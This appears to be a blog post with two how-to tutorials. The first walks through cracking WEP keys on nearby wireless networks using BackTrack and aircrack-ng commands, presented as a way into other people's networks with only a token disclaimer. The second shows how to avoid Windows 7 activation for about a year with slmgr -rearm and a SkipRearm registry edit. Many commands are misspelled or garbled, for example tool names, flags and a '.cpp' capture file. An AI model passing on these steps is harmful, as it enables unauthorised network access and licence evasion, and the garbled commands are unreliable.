Hack a Wireless Network

I always use to wonder how this hackers crack in to wireless network and get access to internet through others network.

This is not a smartness of a Hacker rather than its the mistake of a user to keep the security type to WEP (Wireless Equivalent Privacy ).Before going in to the topic, i would suggest you to use it for knowledge and not for cracking in to others network.

This is how we do it.

1.Go to website and in the download tad download the file named backtrack4.iso. burn the (iso) file in to a DVD and restart your computer.

3. Boot your computer through DVD and type “startx’ and enter when you see a blue command in the console.

4.Now wait for the Interface to start.

5. When you have the Interface started go to the console and type” /etc/init.d/networking start”

6. Now to learn the name of your Wireless Card type “airmon-ng” and you will know the name of your wireless card.

7.Now type“airmon-ng stop Wireless Card Name” (which you have noted).

8.Now type“airmon-ng start Wireless Card Name” (which you have noted).

9.again type “airmon-ng”

10.Now type“airdump-ng start Wireless Card Name” (which you have noted).

You will see all the wireless networks on your range, now see the WEP type security and note down its channel, bssid,essid note them and press Ctrl + C.

11. Now type“airodump –ng- w wep –c channel number – bssid bssid number wireless card name”

12. Open  a new Console now

12.a Type “airplay-ng –10- -a bssid wirless card name “

Now you are connected to the Wireless Network.

13. Open a New Console again.

13a. type “airplay –ng –3 –b bssid wirelss card name”

go to the first console(1)

you will c that you have started sending a receiving data from the wireless network when the packets reach 30000.

See the 2nd console (12)

press Ctrl + C.

type “dir”

and locate a file name with extension .cpp andnote the file name

now type aircrac-ng filename(that you noted).cpp

you will see the WEP key on the screen.

restart your computer and eject the DVD and login to your OS and type the WEP key and get the access to the wireless network

I tried this on my own router.

Enjoy :D

Use Windows 7 for a year without activation

Most of you might be aware of the fact that it is possible to use Windows 7 and Vista for 120 days without activation. This is actually possible using the “slmgr –rearm” command which will extend the grace period from 30 days to 120 days. However in this post I will show you a small trick using which it is possible to use Windows 7 without activation for approximately an year! Here is a way to do that.

1. Goto “Start Menu -> All Programs -> Accessories” . Right click on “Command Prompt” and select “Run as Administrator“. If you are not the administrator then you are prompted to enter the password, or else you can proceed to step-2.

2. Now type the following command and hit enter

slmgr -rearm
3. You will be prompted to restart the computer. Once restarted the trial period will be once again reset to 30 days. You can use the above command for up to 3 times by which you can extend the trial period to 120 days without activation.

4. Now comes the actual trick by which you can extend the trial period for another 240 days. Open Registry Editor (type regedit in “Run” and hit Enter) and navigate to the following location
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform

5. In right-side pane, change value of SkipRearm to 1.
6. Now you will be able to use the slmgr -rearm command for another 8 times so that you can skip activation process for another 240 days. So you will get 120 + 240 = 360 days of free Windows 7 usage.

120 days using “slmgr -rearm” command before registry edit
+ 240 days using “slmgr -rearm” command after registry edit  = 360 Days

Enjoy :)
